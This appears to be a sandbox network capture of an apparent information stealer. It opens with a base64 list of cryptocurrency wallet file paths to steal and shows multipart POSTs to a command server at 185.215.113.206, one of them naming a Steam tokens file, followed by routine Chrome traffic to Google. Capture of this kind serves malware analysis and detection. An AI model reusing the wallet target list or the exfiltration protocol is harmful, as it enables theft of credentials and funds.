Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 1, 2024 05:52:37.263336897 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"files------BAECFHJEBAAFIEBGHIIE--
Nov 1, 2024 05:52:37.551074028 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:37.563673973 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file"------HDGDGHCAAKECFHJKFIJK--
Nov 1, 2024 05:52:38.351320028 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:38.353815079 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 2d 2d 0d 0a Data Ascii: ------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="message"ybncbhylepme------FIJDGIJJKEGIEBGCGDHC--
Nov 1, 2024 05:52:38.643044949 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:38.644295931 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKFCFBAAEHCFHJJKEHJK--
Nov 1, 2024 05:52:39.422532082 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	142.250.185.132	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:13 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 04:52:13 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-TygcKyFzOk1UHtYq6UE56Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 04:52:13 UTC	112	IN	Data Raw: 64 62 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 69 6c 6c 79 20 7a 61 6e 65 20 6d 61 72 6c 6f 6e 20 62 72 61 6e 64 6f 20 6d 6f 76 69 65 22 2c 22 6c 61 20 64 6f 64 67 65 72 73 20 70 61 72 61 64 65 20 77 6f 72 6c 64 20 73 65 72 69 65 73 22 2c 22 68 61 77 61 69 69 20 6d 61 75 6e 61 20 6b 65 61 20 73 6e 6f 77 66 61 6c 6c 22 2c 22 6e 6f Data Ascii: db4)]}'["",["billy zane marlon brando movie","la dodgers parade world series","hawaii mauna kea snowfall","no
2024-11-01 04:52:13 UTC	1378	IN	Data Raw: 76 65 6d 62 65 72 20 73 73 69 20 63 68 65 63 6b 73 22 2c 22 6e 79 63 20 68 61 6c 6c 6f 77 65 65 6e 20 70 61 72 61 64 65 20 72 6f 75 74 65 22 2c 22 6d 79 73 74 65 72 79 20 6d 61 6e 6f 72 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 72 65 77 61 72 64 73 22 2c 22 61 61 72 6f 6e 20 6a 75 64 67 65 20 64 72 6f 70 73 20 66 6c 79 20 62 61 6c 6c 20 77 6f 72 6c 64 20 73 65 72 69 65 73 22 2c 22 6f 6e 6c 79 20 6d 75 72 64 65 72 73 20 73 65 61 73 6f 6e 20 35 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 Data Ascii: vember ssi checks","nyc halloween parade route","mystery manor monopoly go rewards","aaron judge drops fly ball world series","only murders season 5"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4
2024-11-01 04:52:13 UTC	1378	IN	Data Raw: 46 4e 79 56 45 30 35 5a 33 52 59 59 32 78 57 4f 44 42 6d 64 6b 46 78 53 58 55 34 53 48 4e 79 55 6e 42 33 63 7a 52 77 59 6e 56 4d 56 44 4a 56 54 6e 56 4a 57 46 42 36 51 6e 42 57 64 54 6c 53 63 6a 5a 72 4e 6d 52 77 55 33 59 77 64 56 64 46 57 6d 6c 35 62 47 49 30 56 6c 70 70 4e 33 52 46 4b 32 31 7a 4d 6e 70 6d 52 6b 6c 7a 4f 56 70 58 4e 6d 78 4a 51 6a 56 70 52 48 56 33 65 57 52 36 51 6a 52 70 64 43 73 78 55 31 59 35 61 6b 64 59 62 54 64 74 4e 6c 68 6f 52 6a 5a 33 4d 48 63 76 57 6a 68 43 51 30 52 6f 63 46 56 77 63 48 6f 77 61 6c 56 49 55 47 46 53 52 33 70 54 4d 57 70 5a 4e 33 68 49 64 58 46 6f 56 6a 5a 76 65 45 6b 79 4d 6b 39 77 54 31 70 76 65 57 63 30 61 44 6c 45 62 48 5a 69 64 6e 46 56 64 46 64 6f 59 6c 64 49 63 55 4a 54 5a 30 6c 57 62 30 70 73 51 54 4e 4b Data Ascii: FNyVE05Z3RYY2xWODBmdkFxSXU4SHNyUnB3czRwYnVMVDJVTnVJWFB6QnBWdTlScjZrNmRwU3YwdVdFWml5bGI0VlppN3RFK21zMnpmRklzOVpXNmxJQjVpRHV3eWR6QjRpdCsxU1Y5akdYbTdtNlhoRjZ3MHcvWjhCQ0RocFVwcHowalVIUGFSR3pTMWpZN3hIdXFoVjZveEkyMk9wT1pveWc0aDlEbHZidnFVdFdoYldIcUJTZ0lWb0psQTNK
2024-11-01 04:52:13 UTC	647	IN	Data Raw: 43 52 79 39 32 4e 56 4a 53 52 30 31 7a 57 55 68 6c 4d 30 74 36 5a 54 49 33 63 55 68 56 63 45 64 36 54 47 68 52 62 46 68 6b 4f 57 56 61 61 6a 51 33 5a 54 51 7a 56 55 39 74 63 6d 78 73 52 33 42 73 56 48 64 71 4c 7a 4a 52 50 54 30 36 48 6d 4a 70 62 47 78 35 49 48 70 68 62 6d 55 67 62 57 46 79 62 47 39 75 49 47 4a 79 59 57 35 6b 62 79 42 74 62 33 5a 70 5a 55 6f 48 49 7a 51 30 4d 6a 41 33 4e 56 4a 54 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 48 70 4e 61 6b 78 79 56 46 46 32 63 6e 4e 33 64 31 6c 51 55 31 4e 54 4f 48 4a 4e 65 57 46 73 56 58 46 46 63 6b 31 54 4d 56 68 4a 56 46 4e 36 53 33 6c 6a 4f 56 52 54 51 33 42 4c 65 6b 56 32 53 6c 59 34 61 6b 35 4d 4f 48 52 4e 51 6c 46 43 4e 6d 5a 43 51 30 6c 77 46 41 5c 75 30 30 33 64 5c 75 Data Ascii: CRy92NVJSR01zWUhlM0t6ZTI3cUhVcEd6TGhRbFhkOWVaajQ3ZTQzVU9tcmxsR3BsVHdqLzJRPT06HmJpbGx5IHphbmUgbWFybG9uIGJyYW5kbyBtb3ZpZUoHIzQ0MjA3NVJTZ3Nfc3NwPWVKemo0dFZQMXpjMHpNakxyVFF2cnN3d1lQU1NTOHJNeWFsVXFFck1TMVhJVFN6S3ljOVRTQ3BLekV2SlY4ak5MOHRNQlFCNmZCQ0lwFA\u003d\u
2024-11-01 04:52:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.185.132	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:14 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	142.250.185.132	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:14 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 04:52:14 UTC	1042	IN	HTTP/1.1 200 OK Version: 691307345 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 01 Nov 2024 04:52:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 04:52:14 UTC	336	IN	Data Raw: 33 38 39 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 389f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 